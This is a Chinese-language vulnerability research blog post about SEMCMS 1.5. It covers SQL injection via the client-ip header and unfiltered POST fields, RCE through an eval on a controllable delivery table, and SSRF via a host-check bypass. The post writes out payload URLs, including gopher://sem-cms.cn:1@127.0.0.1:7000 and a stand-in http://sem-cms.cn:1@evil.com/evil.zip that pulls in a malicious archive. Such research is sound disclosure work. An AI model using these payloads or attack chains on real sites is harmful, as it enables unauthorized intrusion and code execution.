漏洞挖掘 - SEMCMS1.5

Posted by morouu on 2022-01-22
Estimated Reading Time 8 Minutes
Words 2.3k In Total
Viewed Times

漏洞挖掘 - SEMCMS1.5


- 前言 -

来自去年安询杯的一道题目,当时好兄弟让我看的,不过由于那会忙着体验生活,就没怎么看,现在补上吧。另外,本文仅供网站管理人员与渗透测试人员学习与交流,任何进行的一切未授权攻击行为与本人无关。

希望该CMS的开发者能够尽早修复

在这个 CMS 中,会有一个除了管理员外对其他用户未知的后台路径👇

image-20220121151645589

由此可以对依据访问权限分为三大类,分别为 不知后台路径(前台)已知后台路径但不知管理员密码(隐藏前台) 以及 已知后台路径且能登录管理员后台(后台) ,这里就对这三大类依次进行分析挖掘。

- 前台 -

- SQL注入 -

- 用户注册/登录/订阅提交/评论提交/结算页面(盲注) -

- 分析 -

罪魁祸首来自没有对 Core/Program/Ant_Contrl.php 文件中的 getIP 函数的调用结果进行过滤,直接来看 getIP 函数👇

image-20220121160741290

其中,在 Core/Program/Ant_Rponse.php 文件中,有关 用户注册用户登录订阅提交评论提交 以及 结算页面 都直接将调用 getIP 函数的结果进行数据库操作。

用户注册 👇

image-20220121161118903

用户登录 👇

image-20220121161220310

订阅提交 👇

image-20220121161321143

评论提交 👇

image-20220121161536594

结算页面 👇

image-20220121161644273

当然,应该还有其他地方调用了 getIP 函数,不过就不一一列出了。

同时如果跟进 AntAddAntEdit 函数,可以发现并没有对传入的参数进行操作,而是直接拼接到SQL语句中👇

image-20220121164601746

- 证明 -

那么这里以用户登录为例,先随意注册一个用户👇

image-20220121163101465

成功注册用户👇

image-20220121163148910

然后退出登录,并在登录时更改 client-ip 标头内容👇

image-20220121164027872

显然 sleep 是成功被执行了,因此确实是存在盲注的。

- 扩展 -

另外,由于在用户注册时候可以进行SQL语句拼接,所以来点 CTF 后遗症罢,可以依靠二次数据插入来进行变相回显注入,比如👇

image-20220121174328065

此时可以看一下数据库内容👇

image-20220121174447614

使用这个新用户登录👇

image-20220121174614848

可以显式地得到数据的信息。

- 用户地址管理(盲注) -

- 分析 -

Core/Program/Ant_Rponse.php 文件中,漏洞原因是对用户地址进行 edit 功能时,没有仅仅对传入的 $_GET 内容进行了过滤,并没有对用户传入的 $_POST['ID'] 进行操作👇

image-20220121164350423

同样的,在 AntEditAddress 函数中并没有对传入的参数进行任何操作👇

image-20220121164703560

- 证明 -

还是先登录账号,然后随便新建一个地址👇

image-20220121164919515

然后选择刚刚新建的地址并点击进入编辑👇

image-20220121164959414

之后就是抓包改内容👇

image-20220121165420357

此时就可以通过更改 $_POST['ID'] 的值进行盲注了。

- 订阅提交(盲注) -

- 分析 -

漏洞点在 Core/Program/Ant_Rponse.php 文件中,原因是没有对 $_POST['e_coucode']$_POST['e_couid'] 进行处理👇

image-20220121175358686

跟进 CheckDatas 函数👇

image-20220121175502520

依然是没有对传入的参数进行处理就拼接到了SQL语句中,因此就存在一个盲注。

- 证明 -

由于这个功能并没有验证用户的登陆状态,其实直接上 burp 找到对应的路由就好了,不必找真正的页面👇

image-20220121181407937

可以看到 sleep 是成功的被执行了。


- 隐藏前台 -

- 补充 -

由于这里的部分是属于 已知后台路径但不知管理员密码(隐藏前台) ,因此是过不了管理员登录认证的,一旦某个文件拥有 <?php include_once 'Ant_head.php';?> 这一句代码就可以跳过了。

因为在 Ant_head.php 文件有以下函数调用👇

image-20220121182519666

跟进 CheckUser 函数可以发现存在对管理员登录的认证👇

image-20220121182622332

由此在隐藏目录中,能够访问的页面有以下:

  • 6gnGtg_Ali/Ant.php
  • 6gnGtg_Ali/Ant_Ajax.php
  • 6gnGtg_Ali/Ant_Config.php
  • 6gnGtg_Ali/Ant_Curl.php
  • 6gnGtg_Ali/Ant_Function.php
  • 6gnGtg_Ali/Ant_Inc.php
  • 6gnGtg_Ali/Ant_left.php
  • 6gnGtg_Ali/Ant_mid.php
  • 6gnGtg_Ali/Ant_Outdata.php
  • 6gnGtg_Ali/Ant_Response.php
  • 6gnGtg_Ali/index.php

- RCE -

- 分析 -

能够造成任意代码执行的漏洞点在 Core/Program/Ant_Shop.php 文件的 CheckExpress 函数中,当进行查询物流及费用计算时,会对从 sc_delivery 表中取出的内容进行 eval 调用👇

image-20220121184242986

显然要能够执行想要执行的代码,这个有关物流信息的 sc_delivery 表就必须可控,而在 6gnGtg_Ali/Ant_Response.php 文件中是存在对其中任意一个表进行任意操作的👇

image-20220121185545917

此时也就可以基本说是能够随意操控任意一个表的内容了,简单说来整个 RCE 的流程为👇

  • 通过可操作任意表内容的功能构造好合适内容放到sc_delivery表中
  • 调用CheckExpress函数取出先前构造好的数据库内容实现RCE

那么先来看如何对任意表进行任意内容的构造,由于在 6gnGtg_Ali/Ant_Response.php 文件中并没有数据库信息的配置,也就是说需要事先对 Core/Program/db_con.php 文件进行一个包含,而在 6gnGtg_Ali/Ant_Inc.php 文件就刚好解决了这个问题👇

image-20220121190721708

因此就可以由 6gnGtg_Ali/Ant_Inc.php 文件作为入口在 6gnGtg_Ali/Ant_Response.php 文件中对任意数据库进行一个任意操作。

接着再看如何调用最为关键的 CheckExpress 函数,那么来到 Core/Program/Ant_Rponse.php 文件中,可以看到当传入的 $_GET['actions'] 值为 CheckOutOrder 且用户状态为已登录时,就可以有可能对 CheckExpress 函数进行一个调用👇

image-20220121191402969

现在不妨重新理一下完整的 RCE 思路👇

  • 注册一个用户
  • 登录用户以便获得$UID
  • 由6gnGtg_Ali/Ant_Inc.php作为入口点通过6gnGtg_Ali/Ant_Response.php将合适内容插入到sc_delivery表的对应字段中
  • 访问Core/Program/Ant_Rponse.php并带上相应的参数,触发调用CheckExpress函数达成RCE

- 证明 -

由于前面已经注册用户了,这里就不进行用户注册,而是登录前面注册好的用户👇

image-20220121192546939

然后构造合适的数据由 6gnGtg_Ali/Ant_Inc.php 作为入口点插入 sc_delivery 表👇

image-20220121193210696

接着访问 Core/Program/Ant_Rponse.php 👇

image-20220121193740041

此时也就可以进行 RCE 了。

- SSRF -

- 分析 -

漏洞点在 6gnGtg_Ali/Ant_Curl.php 文件中,其中对传入的 $_GET['url'] 的处理存在漏洞👇

image-20220121194447759

由于判断逻辑为 if(strpos($dname[2],'sem-cms.cn') !== false) ,而 $dname 来自 $dname=explode("/", $_GET['url']); ,仅仅是判断了 ?://[判断部分] 中必须包含 sem-cms.cn 内容,那么假若 $_GET['url'] 构造成 gopher://sem-cms.cn:1@127.0.0.1:7000/... 也会是合法的。

那么不妨将 $url 构造成 gopher://sem-cms.cn:1@127.0.0.1:7000/_[SSRF SUCCESS] ,再接着往下看👇

image-20220121195024163

注意一下此时传入 getFile 函数的参数👇

  • $url = gopher://sem-cms.cn:1@127.0.0.1:7000/_[SSRF SUCCESS]
  • $save_dir = ../Soft/Zip/
  • $filename = _[SSRF SUCCESS]
  • $type = 1

继续跟进 getFile 函数👇

image-20220121195942215

此时 gopher://sem-cms.cn:1@127.0.0.1:7000/_[SSRF SUCCESS] 就会被 curl

- 证明 -

先监听 7000 端口,然后传入相关参数就好了👇

image-20220121200414133

显然是成功利用 gopher 向本地的 7000 端口发送了信息。

- 扩展 -

由于这个功能本意是从官网上下载更新代码👇

image-20220122020845974

所以可以通过 http://sem-cms.cn:1@evil.com/evil.zip 从远程服务器上将还有恶意代码的 zip 文件下载解压。

首先将存在恶意代码的文件打包👇

image-20220122020241699

随意起一个远程服务器👇

image-20220122020337364

使用 http://sem-cms.cn:1@127.0.0.1:2331/evil.zip 更新恶意压缩包👇

image-20220122020711804

访问对应的文件👇

image-20220122021159162

成功地将存在恶意代码的文件解压出来。


- 后台 -

- SQL注入 -

- 分析 -

漏洞点存在多个文件中,影响文件如下:

  • 6gnGtg_Ali/Ant_Info.php
  • 6gnGtg_Ali/Ant_M_Contry.php
  • 6gnGtg_Ali/Ant_M_Member.php
  • 6gnGtg_Ali/Ant_M_Order.php
  • 6gnGtg_Ali/Ant_Plist.php
  • 6gnGtg_Ali/Ant_Pro.php

主要原理以 6gnGtg_Ali/Ant_Info.php 文件为例,在这里并没有对 $_REQUEST["info_cat"]$_REQUEST["skey"] 传入值进行处理,虽然本身自动对 $_GET 都进行了处理仍然可以从 $_POST 传入以绕过对 $_GET 的处理👇

image-20220122004529314

接着就直接将拼好的语句放到SQL中查询,期间也并没有进行任何处理👇

image-20220122004801882

可以看到两条查询语句都是存在注入的,但第二条会遍历查询结果把每一条记录显示出来,不妨以第二条作为注入核心进行回显注入。

其他文件也是同样的原理。

6gnGtg_Ali/Ant_M_Contry.php 文件👇

image-20220122010724503

6gnGtg_Ali/Ant_M_Member.php 文件👇

image-20220122010802336

6gnGtg_Ali/Ant_M_Order.php 文件👇

image-20220122010835100

6gnGtg_Ali/Ant_Plist.php 文件👇

image-20220122011058630

其中在 ProCatId 函数中其实就存在注入了👇

image-20220122011218148

6gnGtg_Ali/Ant_Pro.php 文件👇

image-20220122011259845

以上这些文件都可以从 $_POST 传入注入内容以绕过本身对 $_GET 参数的过滤。

- 证明 -

6gnGtg_Ali/Ant_Info.php 为例,直接从 $_POST 传入联合查询注入参数绕过 $_GET 的参数处理即可👇

image-20220122005055432

成功地将数据回显注入出来了。

- 总结 -

以上这些应该只是这个 CMS 的部分漏洞,可能还有一些没有提到,总之让人感觉就那种,属于挖的特别爽就是了0.0。另外,再提一下,本文仅供网站管理人员与渗透测试人员学习与交流,任何进行的一切未授权攻击行为与本人无关。


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !